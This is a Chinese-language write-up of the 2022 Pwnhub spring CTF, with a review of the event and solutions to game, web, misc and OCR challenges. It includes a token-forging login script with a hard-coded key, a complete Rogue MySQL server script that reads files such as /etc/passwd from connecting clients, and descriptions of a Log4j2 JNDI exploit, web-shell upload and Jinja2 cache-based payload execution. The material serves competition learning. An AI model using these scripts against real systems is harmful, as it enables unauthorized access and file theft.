【案例分享】2022Pwnhub春季赛相关体验及wp
前言
第一次参加Pwnhub举办的大型公开赛,体验良好。不愧是pwnhub,三个pwn到比赛结束就只有easyrop有四个解,膜拜pwn佬。前期比赛宣传的比较到位,pwnhub一直有举办公开月赛的传统,这次公开赛的规模更大,奖励也更加丰厚了。
比赛题目多种多样,各个方向的选手都能有题做,不只有传统的web、misc、crypto、re、pwn等,ACM、OCR、以及汇编等各种其他类型的题目都有涉及,甚至主办方还整了个网页版的传奇来玩,可以说是为了减少坐牢的枯燥而用心良苦了,希望各大线下比赛主办方都可以学习,题做不出来还能打打游戏(手动狗头)。
题目难度总体来说适中,pwn和misc偏难(长见识),种类多样的题目从多个方面考察了参赛选手的个人能力。
整个比赛流程下来,平台也十分流畅,靶机启动迅速,也没有限制靶机数量,后期靶机时间的限制也取消了,但美中不足的是,所有靶机都开放在同一个ip上,端口号可以遍历,再加上不是动态flag,这就可能导致蹭flag的情况出现
WriteUp
Gaming
头一次在ctf比赛中看到用flash游戏出的题目,感觉十分新奇,于是乎速速给我的虚拟机装上了flash,打开主办方开设的游戏。
game类题目有四个小题,最后一个题需要get服务器的shell,也算是半个web吧
是兄弟就来砍我
注册账号,创建角色登录游戏后,就能看见公告栏里的flag,可以说是十分友好了
初入门径
下一步就是要购买题目中所说的1000元的宝召唤道具了
一开始我们没有元宝,但是可以去领绑定元宝,但绑定元宝和元宝不一样,需要先通过抽奖,将绑定元宝转化为元宝,再买召唤券
打死召唤出来的怪物后会掉落flag之书1
要注意爆出来的flag之书其他玩家也可以捡走的,别跟我一样被抢了flag,flag为flag{nonono_notmola}
源码
比赛后期主办方放出了服务器的源码,虽然经过了一些修改,但是也能从中审出一些洞
首先是任意账户登录,从log.php中,可以找到生成token用的key
这样的话,我们知道任意用户的用户名,就可以登录他们的账户,注意游戏中的昵称和用户名可能并不相同
<?php
$name="rayi";
$time=time();
$key='jwjeDljl-sdlj213988WED^W9kjasdjlkoie2130942323';
$md5=md5($name.urlencode($name).$time.$key);
$url ='http://121.196.195.255:8593/app/cklogin.php?userid='.$name.'&username='.$name.'&time='.$time.'&flag='.$md5.'';
echo $url."\n";
?>
还有,在log.php这里讲道理应该是有注入的,但不知道为什么线上一直复现不成功
web方面的其他洞没有再找出来,剩下getshell应该是需要对游戏服务器文件进行逆向了
Web
web总体考察的知识点比较新,难易结合
EzPDFParser
下载源码,看到pdf和这个log4j2的时候,我想起来之前log4j2火的时候,看到一个师傅的文章
java写的pdf解析器在解析pdf的时候,可以通过报错触发log4j2
搭建恶意jndi服务器
github.com/Jeromeyoung/JNDIExploit-1
修改pdf文件
直接上传这个pdf,就能触发
easyCMS
看到测试mysql是否联通,就能想到利用mysql进行读文件
Rogue-MySql-Server读文件,py脚本不好使,但用php的可以//
github.com/allyshka/Rogue-MySql-Serve
<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }
$filename = "/etc/passwd";
$srv = stream_socket_server("tcp://0.0.0.0:2333");
while (true) {
echo "Enter filename to get [$filename] > ";
$newFilename = rtrim(fgets(STDIN), "\r\n");
if (!empty($newFilename)) {
$filename = $newFilename;
}
echo "[.] Waiting for connection on 0.0.0.0:3306\n";
$s = stream_socket_accept($srv, -1, $peer);
echo "[+] Connection from $peer - greet... ";
fwrite($s, unhex('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75
6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00
00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00
00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44
47 77 43 2a 43 56 63 72 00 '));
fread($s, 8192);
echo "auth ok... ";
fwrite($s, unhex('07 00 00 02 00 00 00 02 00 00 00'));
fread($s, 8192);
echo "some shit ok... ";
fwrite($s, unhex('07 00 00 01 00 00 00 00 00 00 00'));
fread($s, 8192);
echo "want file... ";
fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
stream_socket_shutdown($s, STREAM_SHUT_WR);
echo "\n";
echo "[+] $filename from $peer:\n";
$len = fread($s, 4);
if(!empty($len)) {
list (, $len) = unpack("V", $len);
$len &= 0xffffff;
while ($len > 0) {
$chunk = fread($s, $len);
$len -= strlen($chunk);
echo $chunk;
}
}
echo "\n\n";
fclose($s);
}
image-20220423105608687
把能读出来的文件都读出来后,开始审代码
route.php中,$this->class
的值是?s=xxx/【something】
的后半段,可控,于是可以进行目录跨越和文件包含,但限定了包含的文件结尾是Tool.php
继续看源码,testTool一看就比较可疑,这里可以从指定目录写文件
于是乎,写shell
用自己的ip找到沙箱目录,再通过route.php包含,即可getshell
baby_flask
flask的模板渲染并不会随着文件更新而更新,需要对flask进行重启才能对模板重新渲染
/kill
路由访问显示500,而且实际上并不会重启,在本地复现的时候也报错,搜一下才知道,这个函数在Werkzeug 2.0版本已经被移除了,服务器的版本是2.1.1
doc.codingdict.com/jinja2_29/api.html?highlight=cache_size
jinja2.8对于模板的渲染次数缓存限制默认为400,超过400个模板,就会将前面最少使用的模板清除
因此,我们只需要生成400个模板后,即可在缓存刷新的时候执行我们新写入的payload,看到flag
400个模板生成后,即可修改第一个模板,写入payload
然后触发
Misc
眼神得好
幸好我以前玩过裸眼3d,要不然题都做不出来了
裸眼3d图有两种看法,一种是两眼失焦,一种是类似于斗鸡眼
这个题的图用第二种方法可以看出,是flag{nice_pwnhub}
裸眼3d图的制作原理就是将两张图重合,我们也可以用stegsolve将两张图分开,从而不用费眼睛的获取flag
扩展:
这个图可以用两眼失焦的方法看出漂浮的硬币
Other
签到
题目提示flag在其他页面,那我们就去其他页面找一找
在关于页面有个视频,封面有二维码,扫描就是flag
http://ctf.pwnhub.cn/about.html
words_check
本来以为是挺难的ocr,后来发现图片都挺好识别的,调用百度的接口就行,能做到100%的识别率
from urllib import response
import requests
import base64
url = "http://47.97.127.1:28583/"
def getToken():
token_url = url + "/getToken"
response = requests.get(token_url)
return response.json()['data']['token']
def ocr(img_base64):
# client_id 为官网获取的AK, client_secret 为官网获取的SK
host = 'https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&client_id=【你的】&client_secret=【你的】'
response = requests.get(host)
token = response.json()['access_token']
'''
通用文字识别(高精度版)
'''
request_url = "https://aip.baidubce.com/rest/2.0/ocr/v1/accurate_basic"
params = {"image":img_base64}
access_token = token
request_url = request_url + "?access_token=" + access_token
headers = {'content-type': 'application/x-www-form-urlencoded'}
response = requests.post(request_url, data=params, headers=headers)
return response.json()['words_result']
def getViolWords():
words_url = url + "/getViolWords"
response = requests.get(words_url)
return response.json()['data']['violWords']
def getPic(token):
pic_url = url + "/getPic"
data = {"token":token}
response = requests.post(pic_url,json=data)
return response.json()['data']['words']['w1']
def checkWords(violWords,picWords):
try:
picWords = picWords[0]['words']
except:
pass
print(picWords)
for i in violWords:
if i.replace(" ",'').strip() in picWords:
return False
return True
def submit(token,answer):
submit_url = url + "/submits"
data = {"token":token,"answer":answer}
response = requests.post(submit_url,json=data)
return response.json()
def getResult(token):
result_url = url + "/getResult"
data = {"token":token}
response = requests.post(result_url,json=data)
return response.json()['data']
def getFlag(token):
flag_url = url + "/getFlag"
data = {"token":token}
response = requests.post(flag_url,json=data)
return response.json()
token = getToken()
violWords = getViolWords()
for i in range(51):
pic = getPic(token)
picWords = ocr(pic)
result = checkWords(violWords,picWords)
print(result)
print(submit(token,result))
print(getResult(token))
print(getFlag(token))
image-20220424220043473
小结
比赛持续了36个小时,时间算比较长的,但某些种类题目数量似乎不是很多,例如web,akweb的队伍并不少,做完了三个题之后,我以为后期会上新题,但遗憾的是并没有。
总的来说比赛体验很好,也能通过赛题学到不少知识,希望pwnhub后期还能再举办类似的公开赛!